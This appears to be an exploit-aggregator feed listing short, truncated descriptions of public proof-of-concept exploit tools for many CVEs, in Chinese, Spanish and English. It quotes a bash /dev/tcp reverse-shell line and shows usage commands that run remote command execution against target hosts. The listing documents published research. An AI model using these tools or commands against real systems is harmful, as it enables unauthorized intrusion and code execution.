CVE-2014-6271

Hellshocker 0.1.1 用于利用 Shellshock 漏洞的工具 厌倦了使用弱小的 shellshock 漏洞利用，或者只是用 "/bin/bash & /dev/tcp/IP/port 0&1" 这种方式进入服务器？ 是的，你需要上传并执行更复杂的东西到服务器，但 base64 编码一个巨大的文件几乎不可能，因为你的 HTTP 请求会被 Web 服务器拒绝。 有了这个工具，你的问题可能就解决了。它能够将你的有效载荷编码为 base64，并以（默认）128 字节的块发送到 Web 服务器，然后发送后，它会解码并执行。 "哇，"你说，"但是我不用 PHP，我需要 Java...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 自动化利用与检测 该 Python 程序是对 RCE SMBGhost 漏洞的封装。漏洞利用部分的所有荣誉归功于 chompie1337。扫描器的所有荣誉归功于 ioncodes。 我只是将这些功能自动化到一个程序中。在生成反向 shell 时，你需要考虑 Windows 目标的架构。 该利用 不稳定 ，请自行承担风险。有时第一次不成功，所以我加入了第二次重试。 如果你要放入自己的 shellcode，请注意 shellcode 的最大大小为 600 字节 。 已在 Windows 10 x64（Microsoft Windows 版本...

CVE-2017-17485

CVE-2017-17485 CVE-2017-17485：Jackson-databind 远程代码执行...

ruby-RCE-CVE-2019-5420-

Deserialización de Ruby CVE-2019-5420 root@kitploit: https://github.com/PenTestical/CVE-2019-5420 Referencias: root@kitploit: 1 Ruby on Rails 命令执行漏洞payload实现过程 https://hackerone.com/reports/473888 Dado que ActiveSupport::MessageVerifier y ActiveSupport::MessageEncryptor usan Marshal como...

CVE-2025-0282-Full-version

Storks: Herramienta de Explotación de Vulnerabilidad de Ejecución Remota de Código Resumen Storks es una herramienta de Prueba de Concepto PoC basada en Python diseñada para demostrar una vulnerabilidad crítica de Ejecución Remota de Código RCE, identificada como CVE-2025-0282 , en un dispositivo...

CVE-2025-24813-POC

CVE-2025-24813 Apache Tomcat RCE PoC CVE-2025-24813 的概念验证（PoC），这是 Apache Tomcat 中的一个远程代码执行 RCE 漏洞。 重要提示： 本 PoC 仅用于测试您自己的环境或教育目的。未经适当授权，使用本 PoC 攻击系统是被禁止的，并可能违法。本 PoC 的创建者和分发者对任何滥用或损害不承担责任。在测试您不拥有的环境之前，请始终获得明确的许可。 用法 root@kitploit: python3 CVE-2025-24813.py --url 环境设置 测试Payload 代码中已经包含一个使用 ysoseria...

CVE-2026-79643

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Incorrect Operator vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access...

EUVD-2026-72483

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Incorrect Operator vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access...

CVE-2026-79643

Dell Secure Connect Gateway (SCG) 5.0 — both Appliance and Application editions — is affected by a Use of Incorrect Operator vulnerability. An unauthenticated attacker with remote network access could exploit this flaw (no user interaction required) to gain unauthorized access , with low impact o...

CVE-2024-38472

在 Apache HTTP Server 的 Windows 版本中，为 SSRF 漏洞（CVE-2024-38472）创建一个远程代码执行（RCE）Metasploit 模块具有挑战性，因为 SSRF 本身并不能直接导致 RCE。然而，SSRF 通常可以作为实现 RCE 的一个步骤，特别是当你可以利用它与内部服务交互或触发次要漏洞时。 通过 SSRF 实现 RCE 的策略 要实现通过 SSRF 的 RCE，通常需要： 1. 一个存在特定漏洞的内部服务，该漏洞可通过 SSRF 利用。 2. 配置错误或额外的漏洞，允许执行任意代码。 在本示例中，假设我们可以触发一个内部服务，该服务接受...

OpenPLC-CVE-2021-31630-RCE

OpenPLC v3 认证远程代码执行 CVE-2021-31630 这是一个现代 Python 3.13+ 兼容的概念验证漏洞利用程序，用于 CVE-2021-31630，该漏洞存在于 OpenPLC v3 中，允许认证用户上传包含恶意代码的自定义硬件层，从而导致在主机上远程执行代码（RCE）。 原始漏洞发现和报告由 Fellipe Oliveira 提供。 此重新实现和现代化版本使用 httpx、CLI 工具、日志记录和更安全的检测技术。 漏洞利用概述 漏洞：CVE-2021-31630 组件：OpenPLC v3 Web 服务器 影响：认证远程代码执行 RCE...

CVE-2025-55182

CVE-2025-55182 - React 和 Next.js Server Actions 远程代码执行漏洞 针对 React/Next.js Server Actions 中 CVE-2025-55182 的全功能远程代码执行利用工具和扫描器。 原始 PoC: Spritualkb/CVE-2025-55182-exp 概述 CVE-2025-55182 是 React Server Components 中的一个严重原型污染漏洞，可导致远程代码执行。本仓库提供了自动化扫描（Nuclei 模板）和手动利用（Python 脚本）两种工具。 漏洞机制： 该利用工具利用了 React...

CVE-2007-2447

CVE-2007-2447 CVE-2007-2447 - Samba usermap 脚本。 https://alien0ne.digitalpress.blog/cve-2007-2447/ 使用方式： root@kitploit: $ python3 script.py rhost - 目标地址 rport - 目标端口 lhost - 监听地址 lport - 监听端口 安装： 此漏洞利用需要 Python 3.7 或更高版本 root@kitploit: sudo apt-get -y install python3-pip pip3 install pysmb...

CVE-2025-14558

CVE-2025-14558 FreeBSD rtsold DNSSL 命令注入（RCE） 描述 rtsold8 在将 DNSSL 域名传递给 resolvconf8 之前，未对其中的 shell 元字符进行验证。通过 $ 进行的命令替换使得相邻网络可执行远程代码。 受影响版本：2025-12-16 之前的 FreeBSD 13.x、14.x、15.x 用法 root@kitploit: sudo python3 exploit.py -i eth0 touch /tmp/pwned sudo python3 exploit.py -i eth0 -p 'id /tmp/out' 自定义...

tplink-CVE-2017-11519

tplink-CVE-2017-11519 POC para TP-Link Archer C9 - Restablecimiento de contraseña de administrador y RCE CVE-2017-11519 Consulta el writeup en https://devcraft.io/posts/2017/07/21/tp-link-archer-c9-admin-password-reset.html...

CVE-2025-5394

🚨 CVE-2025-5394 - Subida Arbitraria de Plugins No Autenticada en el Tema Alone 📌 Producto afectado: Alone – Tema WordPress multipropósito para caridad sin fines de lucro Versiones: = 7.8.3 CVE: CVE-2025-5394 Puntuación CVSS: 9.8 Crítico 🔥 Resumen de la vulnerabilidad: El tema Alone para WordPress...

cve-2021-38647

cve-2021-38647 针对 OMI 中 CVE-2021-38647 远程代码执行漏洞的 PoC 利用工具。 在默认 HTTPS 端口上使用 ExecuteShellCommand 执行单个命令： root@kitploit: python cve-2021-38647.py -s 10.10.10.10 shell id 在默认 HTTP 端口上使用 ExecuteShellCommand 执行单个命令： root@kitploit: python cve-2021-38647.py 10.10.10.10 -p 5985 shell id 在默认 HTTPS 端口上使用...

ROOT-APP-GOBINARY-CVE-2026-33186 CVE-2026-33186 in google.golang.org/grpc - Patched by Root

Root has patched CVE-2026-33186 in the google.golang.org/grpc package for Root:Go. Multiple fixed versions available...

CVE-2018-17456

CVE-2018-17456 漏洞简介 漏洞名称： Git输入验证错误漏洞 CNNVD编号：CNNVD-201810-234 危害等级：超危 CVE编号：CVE-2018-17456 漏洞类型：输入验证错误 发布时间：2018-10-08 威胁类型：远程 更新时间：2019-04-25 厂商：debian 漏洞来源：Atlassian,TerryZh...

CVE-2017-12615

CVE-2017-12615 Tomcat 远程代码执行漏洞 Exploit java -jar CVE-2017-12615-Exploit.jar Url ShellName ShellValue root@kitploit: www.SecFree.com · · · 一┳═┻︻▄ Tomcat RCE CVE-2017-12615 ▄︻┻═┳一 · · · Influence: Apache Tomcat 7.0.0 - 7.0.79 0day Info: https://www.secfree.com/article-399.html Help: Url ShellName...